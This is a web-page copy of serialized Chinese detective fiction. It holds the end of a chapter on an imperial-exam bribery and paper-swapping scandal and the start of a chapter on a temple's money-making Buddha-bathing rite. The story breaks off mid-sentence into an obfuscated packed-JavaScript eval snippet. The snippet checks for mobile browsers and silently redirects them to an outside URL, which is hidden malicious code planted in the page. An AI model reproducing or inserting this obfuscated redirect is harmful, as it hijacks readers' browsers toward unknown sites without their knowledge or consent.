像陈墨里混了血腥，又像腊肉生了霉。他提灯循味至“地字十二号”硃卷封存库，见铁门上那对狴犴衔环的铜辅首——左环在滴血。 暗红的、粘稠的血，从门缝渗出，沿铜环沟槽，一滴，一滴，砸在青砖上。 一、 铁棺藏卷 顺天府推官傅青衫赶到时，天刚透亮。这位傅推官年三十有六，面容清癯如教书先生，唯双眼亮得慑人。他蹲身蘸血捻搓，又举灯照门缝：“血从内渗出，不超过三个时辰。开门。” 锁是工部特制的“九转鸳鸯锁”，需两把钥匙同开。一把在提调官手，一把在监临官手。可奇的是，当两位大人携钥而来，锁芯竟已被人以铁水灌死。 “熔锁。”傅青衫道。 铁匠熔开锁时，日上三竿。门开刹那，腥风扑面——库内无窗，四壁皆铁，正中摆着口柏木箱。箱盖大开，内躺一人，着青绸袍，胸前插着柄裁纸刀。 死者四十许，面白微须。傅青衫翻看他右手，虎口、食指、中指皆有厚茧，是长年握笔的“状元手”。但左手掌心，却有道新鲜灼痕，形如“甲”字。 “是烙铁印。”作作老邢验道，“凶器就在死者手中。” 果然，死者右手指缝间，紧攥着柄小烙铁，铁头仍温。烙面刻的正是“甲”字。 傅青衫环顾库房。此库专存“墨卷”——即举子亲笔原卷。按制，墨卷入库后先糊名，再由誊录官以朱笔誊抄为“硃卷”，方送考官批阅。如此，考官阅卷时不知考生姓名，防舞弊。 可眼前景象诡异：四周铁架上，本该整齐排列的墨卷，此刻散落一地。更奇的是，每份卷子首页的糊名封条，皆被撕开一角，露出底下姓名。 “有人在此…查卷。”傅青衫沉吟。 “大人快看！”书吏从箱底摸出本册子。 是“地字十二号库入库册”。傅青衫翻到末页，见最后一行记： “崇文十七年三月十二，戌时三刻，入墨卷三百六十份。经手人：誊录房司吏沈砚秋。” 沈砚秋，正是箱中死者。 “三百六十份…”傅青衫点验地上散卷，“此处只有三百五十九份。少了一份。” 少的哪份？他蹲身细看，见满地卷中，唯缺“玄”字号的卷子——按“天地玄黄”分号，玄字号该存第九十至一百二十名考生的墨卷。 “查入库细目。” 册后附有细目。傅青衫手指划过，停在“玄字七十八号”处： “考生傅孟明，顺天大兴县人，治《春秋》。墨卷入玄字七十八号柜。” “傅孟明…”他蹙眉。这名字耳熟，是今科顺天府解元，文章以峭拔闻名。可解元的卷子，怎会放在九十名后的“玄”字号？ “调傅孟明墨卷的硃卷批阅记录。” 很快，誊录房送来硃卷存档。傅青衫翻开傅孟明那本，见首页浮票（评分票）上，朱笔画了三个圈——这是“荐卷”标记，表考官认为此卷可中。但细看，那第三个圈的墨色，比前两个浅淡些。 “有人添圈。”傅青衫以指甲轻刮，第三圈墨粉脱落，露出底下原有的“×”号。这本是被“黜落”的卷子！ “再看同考官批语。” 批语在卷末：“文气峻急，有犯上之嫌。黜。” 可如今卷子却在“荐卷”中，那这“黜”字… 傅青衫取来西洋放大镜，就窗光细看。“黜”字的最后一竖，笔锋与前面不连，且墨色略深——是被人添了一竖，将原字改成了“黜”？不，是改成了“点”！ “黜”字去“出”留“黑”，再加一竖，便成“黩”——“黩”是污浊意，可勉强解为“文有微瑕”。这一改，黜落变黜存，命运天壤。 “好巧的手。”傅青衫冷笑，“但这傅孟明既被同考官黜落，又如何成了解元？” 他急调今科乡试录取全榜。果然，傅孟明名在榜首。但怪的是，榜上第二名、第三名的批语，皆与傅卷雷同，都夸“文气峭拔”，都提“微瑕不掩瑜”。 “这三份卷子…”他猛然醒悟，“是‘三重卷’！” 科场舞弊有“三重卷”之法：将三份才学相当的卷子，故意批出相近评语，一同录取。如此，纵有人疑榜首不公，但见二、三名水平相近，便难指摘。这是极高明的掩护手段。 “傅孟明这解元，是买来的。”傅青衫合卷，“可沈砚秋为何要查墨卷？又为何被杀？” 他目光落回那柄烙铁。甲字烙痕…是标记？ 二、 棘院暗市 顺天府有处地方叫“棘院墙”——不是贡院墙，是贡院西墙外那条窄巷。每逢大比，这里便成暗市。卖“关节”的、贩“范文”的、做“枪替”的，皆隐在茶馆、当铺、裱画店里。 傅青衫扮作落魄举子，踱进巷口“听雨轩”茶馆。掌柜是个独眼，见客来，也不迎，只朝后堂努努嘴。 后堂坐着个山羊须老者，正摆弄个鲁班锁。见傅青衫，他眼皮不抬：“客要什么货？” “求个前程。” 老者抬眼，独目精光一闪：“前程有价。乡试三百两，会试八百，殿试…那是天价。” “今科顺天解元，作价几何？” 老者笑了，露出满口黄牙：“傅孟明那小子？他可不只三百两。他爹傅半城，为这解元，花了这个数——”他比出三根手指。 “三千两？” “是三万两。”老者压低声音，“但这钱，不是给考官的，是给‘保人’的。” “哪位保人？” “棘院里有位‘扫地僧’，专在誊录房走动。卷子糊名前，他能看见姓名；糊名后，他能调换硃卷顺序；放榜前，他还能…”老者做了个撕封条的手势。 傅青衫心念电转。誊录房、调卷、撕封条——这不正是沈砚秋死前在做的事？ “这扫地僧，是司吏沈砚秋？” 老者脸色骤变，霍然起身：“客从何处听来这名？” “从地字十二号库，一具尸体口中。” 老者转身欲逃，傅青衫已亮出腰牌。几个乔装差役破门而入，将其按住。搜身，从老者怀中摸出本小册，封面无字，内页却记满交易： “崇文十七年正月十五，收傅半城银三万两，保其子孟明解元。经办：沈砚秋，分润五千。” “二月廿二，收李百万银两万，保其子入百名内。经办：沈砚秋，分润三千。” “三月初一，收…” 密密麻麻，涉及今科二十七名考生，贿银总计十八万两。 “沈砚秋昨夜死了。”傅青衫盯着老者，“是你灭口？” “不不不！”老者涕泪横流，“小老儿只是中间人！真正收钱的，是…是上面的人！” “何人？” 老者以指蘸茶，在桌上写了个“誊”字。 誊录官？不对。誊录官只负责抄卷，无权调卷。除非… “是‘对读官’！”傅青衫恍然。 对读官专校硃卷与墨卷是否一致。若他在对读时，将优卷换成劣卷，劣卷换成优卷，神不知鬼不觉。而沈砚秋作为司吏，掌管墨卷库存，正是调卷的关键一环。 “你对读官是谁？” “是…是今科同考官，周慕贤。”老者颤声道，“他也是傅孟明的座师！” 三、 周府夜宴 周慕贤府邸在城东金鱼胡同。傅青衫夜访时，周府正开宴，丝竹之声透墙而出。 门房通报后，周慕贤亲迎出门。此人五十许，圆脸团面，笑容可掬：“傅推官大驾，有失远迎。恰逢小宴，可否赏光同饮？” 宴设花厅，席间七八人，皆着便服，但傅青衫一眼认出——有今科副主考、有顺天府治中、还有两位翰林编修。正中主位空着，似在等贵客。 “推官此来，是为沈司吏的案子吧？”周慕贤敬酒，“唉，沈司吏勤勉半生，竟遭此祸，可叹。” “周大人与沈司吏相熟？” “同在棘院办差，自然相识。”周慕贤叹道，“不过沈司吏近来…似有心事。前日还寻我，说在墨卷中见着怪事。” “何事？” “他说，有份墨卷的笔迹，与硃卷对不上。”周慕贤压低声音，“您知，这是大忌。若真如此，便是有人调换了硃卷。” 傅青衫心中冷笑。这老狐狸，倒会先发制人。 “那卷子，可是傅孟明的？” 周慕贤笑容一滞：“推官何出此言？” “下官查了，傅孟明的墨卷被黜落，硃卷却被录取。这其间，若无对读官配合，如何能成？”傅青衫直视他，“周大人正是今科对读官之一。” 满座皆静。丝竹声不知何时停了。 周慕贤放下酒杯，笑容渐冷：“傅推官，科场之事，水深得很。您今日来，是办案，还是…寻仇？” “下官只寻真相。” “真相？”周慕贤轻笑，“真相是，傅孟明确有才学，同考官看走眼，本官对读时发现，特予拔擢。这有何不可？” “那三万两银子呢？” 厅中死寂。突然，屏风后传来掌声。 一人踱出，着紫袍，佩玉带，面如冠玉——竟是当朝吏部右侍郎，崔文璟！ “傅推官好手段。”崔文璟微笑，“不过，你可知傅孟明是谁家子弟？” 傅青衫不答。 “他祖父傅廷鹤，是已故太子太傅。他父亲傅半城，捐三十万两修黄河堤。”崔文璟落座主位，“这样的忠良之后，纵有些小瑕，不该给个前程么？” “科场大法，岂是‘小瑕’？” “法？”崔文璟举杯，“法为谁设？为寒门？为豪族？傅推官，你办过多少案子，真信‘王子犯法与庶民同罪’？” 他起身，踱至傅青衫面前：“今日本官在此，不妨明说：傅孟明这解元，是本官保的。周大人，是本官请托的。那三万两，是本官让傅半城捐作河工银的。一切合规合矩，你有何证据说舞弊？” “墨卷硃卷笔迹不同，便是铁证。” “笔迹？”崔文璟大笑，“誊录官笔误，偶有差异，何足为奇？纵是真不同——你怎知不是沈砚秋调包构陷？他临死握个‘甲’字烙铁，不就是想污本官‘甲等’舞弊？” 傅青衫心中一震。原来“甲”字烙印，是指“甲等”！ “沈砚秋勒索傅半城，索要五千两封口费。傅半城不允，他便调包墨卷，欲毁傅孟明前程。”崔文璟叹道，“本官已查实，正要拿他，他却死了…傅推官，你说巧不巧？” 颠倒黑白，反客为主。傅青衫盯着他：“那沈砚秋，是谁杀的？” “自然是…分赃不均的同伙。”崔文璟拍拍手。 侧门押进一人，五花大绑，正是“听雨轩”那独眼中间人！他满面血污，嘶声道：“是…是沈砚秋让小人杀的！他说事成后分小人一千两，可事后只给三百，小人气不过，就…” “一派胡言！”傅青衫怒道。 “胡言？”崔文璟取出口供，“这是他画押的供词。凶器、赃银，皆在沈砚秋家中搜出。人证物证俱在，傅推官还有何疑？” 傅青衫握紧拳。他明白了，这是个局。从他进“听雨轩”，就入了局。独眼老者本就是弃子，专等他来咬饵。 “此案已结。”崔文璟挥手，“沈砚秋勒索不成，调包墨卷，被同伙所杀。傅孟明才学实至名归。至于周大人…不过失察，罚俸半年便是。” 他举杯：“傅推官辛苦了，本官敬你。” 傅青衫不动。 “不喝？”崔文璟笑容转冷，“那本官再告诉你一事：今科三百六十名举人，有二十七人涉贿。若彻查，这二十七人落马事小，可他们背后，是二十七家豪族，牵动半朝人心。陛下正要推行新政，此时科场大乱，新政还推不推？” 他凑近，耳语般道：“有时候，清名是毒药，会毒死更多人。傅推官，你是要一个‘公道’，还是要大明朝的安稳？” 傅青衫闭上眼。厅中烛火跳动，映得众人面目模糊。 良久，他睁眼，端起酒杯。 一饮而尽。 四、 寒门尸谏 三日后，放榜。傅孟明高居解元，二十七名贿考生皆在榜上。顺天府衙贴出告示：沈砚秋案结，凶犯已伏法。 当夜，傅青衫独坐值房，对着一盏孤灯。门忽然被推开，书吏慌张闯入：“大人！贡院…贡院门口…” “何事？” “有个老秀才，在贡院门口…剜心了！” 傅青衫疾驰至贡院。门前已围满人，中间青石地上，仰卧一老者，年约六旬，布衣褴褛，胸前血肉模糊。右手握把生锈匕首，左手攥着卷纸。 纸是血书： “老朽江陵秀才陈望，十试不第。今科文章自信可中，然榜上无名。暗访乃知，吾卷被换与豪族子。科场至此，寒门绝路。愿以此心，证天道未死，人心未绝。后来者鉴之。” 血书旁，还有本小册。傅青衫拾起，是陈望的“行卷”——即考生考前呈给考官的文章合集。首页有行朱批： “文有古风，可入前十。惜家世寒微，恐难大用。黜。” 批语日期：崇文十七年三月十二。批者花押：周慕贤。 正是沈砚秋死的那日。 “他…他剜心前，高喊了三声。”旁边卖炊饼的老汉抹泪，“一声‘天道不公’，二声‘科举已死’，三声…三声‘我在黄泉，等诸公’！” 傅青衫握册的手，指节发白。他翻开行卷，见首篇《刑赏论》，开篇即如雷霆： “刑赏者，国之权衡也。权移于豪右，则寒门无途；衡倾于金银，则英才埋没。今科场如市，文章标价，圣贤书尽作生意经。长此以往，国无真才，朝无正人，天下必乱…” 文采斐然，字字泣血。 “搜他住处。” 陈望租住在城南鸡毛胡同，一间漏雨土屋。除满架破书，唯有一箱。箱开，众人倒吸凉气——里面整整齐齐，码着三十七本行卷。每本首页，皆批“可取”，但最终都未中。 最早那本，是三十五年前的。 “三十五年，十次落第…”书吏声音发颤。 傅青衫翻开最早那本。首页有行娟秀小字，似是陈望妻子所题： “君有凌云志，妾捣卖嫁衣。愿得青衫日，同看彩云归。” 可直到最后，他也没穿上那件青衫。 箱底有封信，是陈望绝笔： “…傅推官明鉴：老朽自知此举迂腐。然科场黑幕，非鲜血不能照见。沈司吏曾密告，今科贿生二十七人，名单在此。老朽无能揭穿，唯以此心，为后来者开一线天光。若大人尚存正气，请将名单公之于众。老朽于九泉，叩首。” 名单附后。二十七人，与独眼老者所记，一模一样。 傅青衫将名单揣入怀中。走出土屋时，东方既白。贡院门口的血迹已被冲刷干净，唯有石缝里，还渗着暗红。 远处传来报喜锣声，是新科举人游街。傅孟明骑白马，披红绸，春 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一瘸腿老吏上殿，跪呈账册：“草民赵三，掌硃卷出入账。今科有三十七份硃卷，在誊录后、对读前，被人调换。调换记录在此，经手人…是周慕贤大人。” 周慕贤扑通跪倒：“陛下，臣冤枉！” “冤？”傅青衫取出陈望行卷，“这‘可入前十’的批语，可是你写？既认可其才，为何黜落？可是因他家无三千两贿银？” “还有——”他又取出一卷，“这是傅孟明乡试墨卷原稿。陛下请看，这字迹歪斜，文理不通，与其中解的硃卷，天壤之别！这硃卷，是请‘枪手’代笔的！” 龙案震动。天子年少，但聪慧，细看两卷，脸色渐青：“崔卿，周卿，可有解释？” 崔文璟忽然长笑：“陛下！臣有本奏！”他自袖中取出奏折，“傅青衫所谓证据，皆是伪造！他因与傅半城有旧怨，构陷其子。那陈望，实是傅青衫雇来演戏的疯丐！” “你…你颠倒黑白！” “颠倒？”崔文璟击掌。殿外押进一人，竟是陈望的邻居，一个赌棍。他磕头如捣蒜：“陛下明鉴！那陈望是疯的，常说中了状元要娶公主。他剜心前，傅大人给过他十两银子…” “你！”傅青衫浑身发抖。 “还有——”崔文璟又亮出张当票，“傅青衫昨日典当祖传玉佩，得银五百两，已送去傅半城府上，说是‘赔罪银’。这难道不是做贼心虚？” 满朝窃窃私语。少年天子看着傅青衫，眼中闪过一丝失望。 “傅卿，你还有何话说？” 傅青衫跪地，缓缓除下乌纱：“臣无能，不能为寒门伸冤，不能为国家除蠹。唯有一腔血，可证清白。” 他猛地站起，朝殿柱撞去！ “拦住他！”天子急呼。 侍卫拦住。傅青衫额角已破，血流披面。他惨笑：“陛下，臣今日撞死在此，明日史书会记：崇文十七年，有推官傅青衫，血谏科场舞弊。后世人会问：他为何死？那二十七人名单，为何不公开？那十八万两赃银，去了何处？” 他转身，怒视崔文璟：“崔大人，你可敢与臣赌命？臣愿受三司会审，若有一句虚言，甘受千刀万剐！你可敢？” 崔文璟不答。 “不敢么？”傅青衫大笑，笑出泪来，“因为你知，只要彻查，你逃不掉！周慕贤逃不掉！那二十七家豪族，都逃不掉！” 他跪向天子：“陛下，今日不惩，明日科场尽成市集；今日不革，十年后朝堂皆是无才小人。寒门绝路，则天下英才尽归山野，届时谁为陛下守江山？谁为百姓谋生计？” 少年天子动容。他起身，缓步下阶，扶起傅青衫：“傅卿，朕…信你。” “陛下！” “但，”天子转身，看向崔文璟，“崔卿乃两朝老臣，周卿亦是有功之人。此案…不宜扩大。” 傅青衫心沉。 “傅孟明革去功名，永不叙用。周慕贤革职，发配边关。二十七名贿考生，削籍为民。”天子顿了顿，“至于崔卿…罚俸三年，闭门思过。” “陛下圣明！”众臣山呼。 崔文璟深深跪拜，无人见他嘴角一闪而过的冷笑。 傅青衫闭目。他知道，输了。二十七家豪族根基未动，十八万两赃银下落未明，那二十七名真才实学的寒门子弟，依然落第。 而他，因“诬告大臣”，贬为云南某县县丞，三日后启程。 尾声荆棘犹在 离京那日，春雨潇潇。傅青衫一车一仆，出朝阳门。忽闻身后马蹄疾响，数十骑追来。 是今科落第的寒门举子们。他们冒雨相送，无人打伞，皆跪于泥中： “傅公高义，我等替天下寒士，叩谢！” 傅青衫下车，一一扶起。其中一青年，双手奉上册子：“此乃我等联名所写《革科场弊政疏》，请公携往云南，若有机会，代呈天听。” 傅青衫郑重接过。册子扉页，是陈望《刑赏论》中的句子： “荆棘满途，吾且开路；豺狼当道，吾且先驱。但留一口气，不教公道绝。” 他长揖及地，登车而去。 三年后，云南边县。傅青衫正在衙斋批文，忽闻京中来报：崔文璟升任吏部尚书，周慕贤遇赦还京。今科会试，贿考者增至四十一人。 是夜，傅青衫独立院中，见北斗阑干。他忽然想起陈望剜心那夜，贡院门前石缝里的血。 雨冲得掉血迹，冲得掉记忆。 可有些东西，是冲不掉的。 比如那二十七人名单，他早已抄录百份，散于天下书院。比如陈望的行卷，已有书商暗中刊印，流传江湖。 又比如，他怀中那份《革科场弊政疏》，明日将随商队，送往岭南、江南、西北… 春草年年绿，棘刺岁岁生。 但只要还有人记得，有人在暗夜里，以心头血，点燃过一盏灯—— 这路，就还没断。 本章鉴世 一、 硃卷调包之诈 - 利用誊录、对读程序漏洞，偷换优劣考卷 - 破解法：凡见“文风突变”，必核墨卷；凡遇“破格录取”，必查调卷记录 - 示例：傅孟明墨卷与硃卷笔迹、文理迥异 二、 弃子顶罪之局 - 以中间人、司吏为替罪羊，真凶隐身幕后 - 破解法：凡见“迅速结案”，必思谁在捂盖；凡遇“人证暴毙”，必是灭口 - 示例：独眼老者顶罪、沈砚秋被杀、陈望被污疯癫 三、 寒门尸谏之鉴 - 陈望以死揭黑幕，反被诬“疯丐演戏” - 惕世：弱势者维权，常被“污名化”；血泪证据，易被“证据链”反制 - 反思：当制度腐败至深，个体反抗何以可能？ 科举诫： 棘院本是抡才地，今作金银交易所。 硃卷能调笔，墨字可滴血。 寒门三十五年泪，不抵豪族一席宴。 莫道剥皮能见骨，天下棘刺已连根。 后世叹： 铁门铜环血痕深，棘院春闱夜夜阴。 墨卷调包移日月，硃笔添圈易浮沉。 十试不第老秀才，一腔可热孤臣心。 莫问公道在何处，云南瘴雨听雷音。 正是： 崇文十七棘闱深，墨字啼血铁门阴。 硃卷调包移甲第，银票易手换功名。 寒士剜心证天道，孤臣撞柱竭丹忱。 谁言雨打血迹淡，春草年年绿到今。 16. 浴佛水谳 楔子金箔浴佛 建武十四年四月八，洛阳城南大相国寺的浴佛会，热闹得连树上的知了都嫌聒噪。 山门外支起三丈高的彩棚，供着一尊檀木释迦太子像。佛像本不稀奇，奇的是——这像从头到脚贴满了金箔，在日头下晃得人眼晕。像前摆着个鎏金铜盆，盆边立木牌，朱漆大字： “浴佛一瓢，福寿双全；浴佛三瓢，功德无量；浴佛九瓢，往生极乐。” 瓢是特制的，瓢柄镶银，瓢身刻“功德无量”四字。一瓢水，要价一百文。 一、 善财难舍 辰时三刻，寺门一开，香客如潮。为首的是个绸缎商，姓钱，肥头大耳，带着三个小妾、八个伙计，抬着口樟木箱。箱子打开，白花花的银子，整整五百两。 “方丈！”钱商人作揖，“这是小人为佛爷镀金身的香油钱！” 知客僧了空，四十许，面如满月，笑得眼缝不见：“阿弥陀佛，钱施主功德无量。请——先浴佛。” 钱商人接过银瓢，手抖得厉害——不是虔诚，是心疼那一百文。他舀了半瓢“浴佛水”，水是糖水掺了香料，甜腻腻的，往佛像肩头一淋。 “多些！多些！”了空在旁鼓动，“佛爷欢喜，保佑施主生意兴隆！” 一咬牙，又舀两瓢。三百文没了。 后面排着长队。有老妪掏出压箱底的铜钱，颤巍巍浴一瓢，嘴里念着“保佑我儿平安”；有书生当掉佩剑，换得三瓢，求“今科高中”；更有个瘸腿乞丐，捧着讨来的三十文，想浴半瓢，被知客僧一脚踢开：“去去去！佛爷不渡穷鬼！” 乞丐哭道：“师父，我也求个平安…” “平安？”了空嗤笑，“佛爷的金身还没贴完呢，你三十文，够买片金箔角么？” 正闹着，忽听有人朗声道：“这浴佛会，倒是生意兴隆。” 声如金玉，清亮悦耳。众人回头，见一青衫文士，三十左右，面容清癯，负手立于人群外，正是洛阳府新任法曹参军——顾清臣。 了空脸色微变，忙堆笑：“顾参军也来随喜？” 顾清臣不答，踱至佛像前，细看那金箔：“这金箔贴得厚，怕有三斤？” “三斤八两。”了空得意，“都是信众的功德。” “功德？”顾清臣拈起瓢，舀了半瓢水，却不浴佛，递给了那乞丐，“老丈，你先浴。” 乞丐不敢接。了空急道：“参军！这不合规矩！” “规矩？”顾清臣抬眼，“佛说众生平等，怎的浴佛还有贫富贵贱之分？” “这…这是信众自愿…” “自愿？”顾清臣环视众香客，“诸位真是自愿？还是怕不浴佛，佛不保佑？” 众人低头。钱商人嘟囔：“心诚则灵嘛…” “好个心诚则灵。”顾清臣放下瓢，“那本官问你，你捐五百两，是诚在佛，还是诚在‘佛能让你发财’？” 钱商人语塞。 顾清臣转身，对众香客道：“今日浴佛，原为纪念佛陀诞辰，以香汤灌沐太子像，表涤尘除垢、明心见性之意。何时成了买卖？一瓢水一百文，这卖的是水，还是各位的恐惧？” 了空强笑：“参军言重了，这都是…都是为贴金身。佛有金身，方显庄严…” “庄严在像，还是在心？”顾清臣打断，“若贴金身便是庄严，那洛阳城外的流民，衣不蔽体，食不果腹，可就不庄严了？佛见了，是先渡他们，还是先给自己贴金？” 人从中，有人窃窃私语。 “再说了，”顾清臣走近铜盆，以指蘸水，尝了尝，“糖水掺香，成本不过十文一桶。卖一百文一瓢，这生意，比贩盐还赚。” 了空额头冒汗。顾清臣却笑了：“不过今日佛诞，本官不扫兴。这浴佛会，照办。只是——” 他自袖中取出一吊钱，正好一百文，扔进功德箱：“这一瓢，本官浴了。但浴的不是这贴金佛，是寺外那尊。” 他捧瓢出寺。众人好奇，跟出山门。寺外墙根下，倒着个老乞丐，浑身脓疮，气若游丝。 顾清臣蹲身，以瓢舀水，轻轻淋在老丐额上：“今日佛诞，我浴你。愿你脱这苦身，往生善处。” 老丐睁眼，混浊的眼珠动了动，竟淌下泪来。 了空脸色铁青。顾清臣起身，将瓢掷回铜盆：“好了，本官浴完了。各位继续。” 他拂袖而去。留下满场香客，面面相觑。那钱商人忽然抱起钱箱：“这佛…不浴了！退钱！” “对！退钱！” 场面大乱。 二、 高僧辩财 次日，顾清臣被请到大相国寺方丈院。方丈慧明，七十高龄，白眉垂肩，确有高僧气象。二人对坐禅房，窗外竹影婆娑。 “顾参军昨日一番话，震动洛阳。”慧明斟茶，“老衲想请教，依参军之见，佛门该如何？” “该做佛门该做之事。”顾清臣道，“施粥、义诊、助学、抚孤。而非卖水贴金。” 慧明苦笑：“参军可知，本寺有僧三百，日耗粮米十石。寺宇年久失修，去年大雨，藏经阁漏湿经卷三十七部。这些，都要钱。” “所以要卖浴佛水？” “非也。”慧明正色，“浴佛所得，三成修寺，三成养僧，四成…赈济贫苦。寺外每月施粥三日，参军可曾见？” “见过。”顾清臣点头，“但本官也见过，贵寺知客僧踹开求浴佛的乞丐。若真为赈济，何不将卖水的银钱，直接施与穷人？何必绕个弯，让人先买虚妄，再得实惠？” “这…”慧明长叹，“众生愚钝，不先给个想头，谁肯布施？” “所以大师也知，浴佛是‘想头’。”顾清臣直视他，“既是想头，便是骗局。骗局开头，哪怕结局是善，也是恶因。” 禅房静默。唯闻茶沸声。 良久，慧明道：“参军可知‘金刚怒目’？” “知。” “那参军昨日在寺前，是菩萨低眉，还是金刚怒目？” 顾清臣笑：“本官是俗人，不懂佛。只知看见不公，该说；看见骗局，该揭。至于眉目——该怒时怒，该低时低。” “好个该怒时怒。”慧明从袖中取出一本册子，“这是本寺三年浴佛收支账册。参军可愿一观？” 顾清臣接过。账记得清楚：浴佛收入，每年约五千贯。支出：修寺一千五百贯，僧粮一千五百贯，赈济两千贯。数字工整，毫无破绽。 “账是明的。”慧明道，“可人心是暗的。老衲今年七十，掌管此寺三十年。见过真为浴佛来的，见过为求福来的，也见过…为敛财来的。” 他抬眼，目光如电：“参军可知，洛阳七十二寺，有多少寺的浴佛会，是某些人的钱袋子？” 顾清臣不语。 “浴佛水一百文一瓢，贵么？贵。可有人愿意买，因为买的是心安。这心安是假，可假心安，也是心安。”慧明缓缓道，“就像有人生病，明知符水无用，可喝了，觉得好些——你能说这‘好些’是假的么？” “但病根未除。” “是，病根未除。”慧明点头，“可这病根，不在寺里，在世人心里。世人贪、嗔、痴，想用钱买平安、买福报、买来世。佛门不过…给了个买卖的地方。” “所以大师觉得，这买卖合理？” “不合理，但不得不为。”慧明合十，“若关了这买卖，世人去哪里买心安？若没了这想头，多少人在苦海里，连根浮木都抓不到？” 顾清臣起身，踱至窗前。窗外，几个小沙弥正在扫地，一脸稚气。 “大师，你看这些孩子。”他轻声道，“他们入寺，是为学佛，还是学卖水？” 慧明一震。 “若他们从小见到的佛门，是卖水贴金、是踹开乞丐、是满口功德实则生意——他们心中的佛，会是怎样的佛？”顾清臣转身，“今日他们卖水，明日会不会卖佛？后日，佛还值多少钱？” 禅房死寂。慧明手中佛珠，啪地断了线，檀木珠子滚了一地。 三、 伽蓝秤 三日后，顾清臣微服私访，走了洛阳十座寺庙。所见大同小异：浴佛会成了庙会，卖水的、卖符的、卖“开光”法器的，甚至还有卖“佛前供果”——说是供过佛的果子，吃了消灾，一颗五十文。 最奇的是城南小相国寺，竟推出“分级浴佛”： 铜盆浴佛，一百文，保平安； 银盆浴佛，五百文，保富贵； 金盆浴佛，一千文，保子孙。 顾清臣蹲在寺外茶摊，听茶客议论： “听说了么？昨儿个陈寡妇把嫁妆当了，换了一次金盆浴佛，求她儿子中举。” “中了吗？” “中个屁！她儿子连《三字经》都背不全。” “那金盆…” “方丈说，是她心不诚。得再浴一次。” 顾清臣摇头，正要走，忽见寺里出来个老僧，扛着根扁担，两头挑着水桶，往城外去。他悄然跟上。 老僧出城，到洛水边，汲了两桶清水，不往回走，反折向城西贫民窟。那里窝棚遍地，污水横流。老僧放下桶，喊：“领浴佛水了——不要钱！” 窝棚里涌出老弱妇孺，拿着破碗陶罐。老僧一瓢瓢分水，动作轻柔。有个病妇咳得厉害，老僧从怀中掏出个小纸包，里面是几粒丸药：“这是寺里制的止咳丸，你且服下。” 顾清臣走近：“老师父是？” 老僧抬头，满脸皱纹如沟壑：“贫僧慧静，小相国寺杂役僧。” “这水…” “是浴佛水。”慧静道，“不过是贫僧自己挑的清水。寺里卖糖水，贫僧无能阻拦，只能…另备些干净的，给这些浴不起佛的人。” 顾清臣心中一动：“寺里方丈可知？” “知。”慧静苦笑，“方丈说，我这是拆台。可佛诞浴佛，本为慈悲。这些穷人连饭都吃不上，哪有钱浴佛？若因无钱，便被佛抛弃，这佛…不拜也罢。” 他分完水，挑空桶往回走。顾清臣并肩而行：“老师父在寺中多年？” “四十年了。”慧静道，“年轻时见过真修行的，也见过真骗钱的。如今…骗钱的成了方丈，真修行的，成了杂役。” “为何不走？” “走？”慧静摇头，“走了，这些穷人连这碗清水都没了。我在一日，便挑一日水。我若死了…”他顿了顿，“但愿有人接着挑。” 顾清臣默然。行至寺外，慧静忽然道：“参军今日来，是为查浴佛会吧？” “你认得我？” “那日在相国寺外，贫僧在人群中。”慧静合十，“参军那瓢水，浴的是真佛心。只是…” “只是什么？” “只是这世道，真佛心太少，假佛事太多。”慧静望向寺门，那里香火缭绕，功德箱反射着刺眼的金光，“佛本教人舍，而今都在求；佛本教人慈，而今都在利。这满寺金身，其实是…称。” “称？” “称人心的秤。”慧静缓缓道，“一头是贪，一头是惧。香客拿钱压贪，寺里拿佛压惧。这秤平衡了，买卖就成了。至于佛在不在…谁在乎呢？” 他挑桶入寺，背影佝偻，像棵枯树。 顾清臣独立良久，忽见寺墙贴了张新告示： “本寺新铸金佛一尊，高丈二，需金五百两。现募捐，捐十两者，刻名于佛座；捐百两者，刻名于佛背；捐千两者…佛前长明灯，永供芳名。” 底下有行小字，墨迹犹新： “□□人，缘在功德深。” 四、 佛前灯价 四月十五，浴佛会最后一日。顾清臣请了洛阳城里三位人物，到大相国寺“喝茶”。 第一位是钱商人。他捐了五百两，名字刻在佛座最显眼处，字有拳头大。 第二位是陈寡妇。她当尽家产，换得“金盆浴佛”三次，儿子仍未中举，如今在寺里做杂役，抵“亏欠”的功德。 第三位是城南米铺赵掌柜。他没捐钱，但“捐”了三百石米——是陈米，掺了沙，原要倒掉的。寺里收下，转手以“供养米”名义，卖给香客，一斗百文。 三人惴惴不安。顾清臣不置一词，只领他们到藏经阁后一间破屋。屋里坐着慧静，正补僧衣。 “三位，”顾清臣道，“这位慧静师父，在寺中挑了四十年水。你等的名字刻在佛座，可知道他的名字刻在何处？” 三人摇头。 “在城外三千流民心里。”顾清臣自怀中取出本册子，“这是慧静师父四十年行善账册——非金银账，是人命账。救过饥民四百二十七人，赠药一千三百剂，挑水…挑秃了九根扁担。” 他翻开册子，念道：“永平三年腊月，赠乞儿阿毛破袄一件，阿毛活过冬。永平七年中秋，分瘫妇刘氏半块饼，刘氏多活三日。建武十年大水，背出被困老幼十一人…” 念了十例，停住。钱商人面红耳赤，陈寡妇低头啜泣，赵掌柜冷汗直流。 “三位，”顾清臣合上册子，“你们觉得，谁的功德大？是刻名佛座的钱，是金盆浴佛的诚，还是…这四十年挑水的扁担？” 无人能答。 “本官今日请三位来，非为问罪。”顾清臣道，“是想让三位看看，这寺里，佛在何处。是在前殿金身上，还是在后屋破衣上？是在功德箱里，还是在扁担上？” 他起身，推开窗。窗外是寺后菜园，几个老僧正在施肥，粪勺起落，臭气熏天。 “佛说众生平等。”顾清臣道，“可这寺里，前殿的佛闻香火，后园的佛闻粪臭。哪个是真佛？” 他转身，目光如刀：“三位回去细想。若真想积功德——是往功德箱里扔钱容易，还是明日早起，挑担水去贫民窟，分给没水吃的人容易？” 三人狼狈离去。慧静叹道：“参军何苦为难他们？他们也是…求个心安。” “心安？”顾清臣冷笑，“若他们的心安，是建在三千流民的苦难上，这心安，该不该破？” “破了之后呢？” “破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088168|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 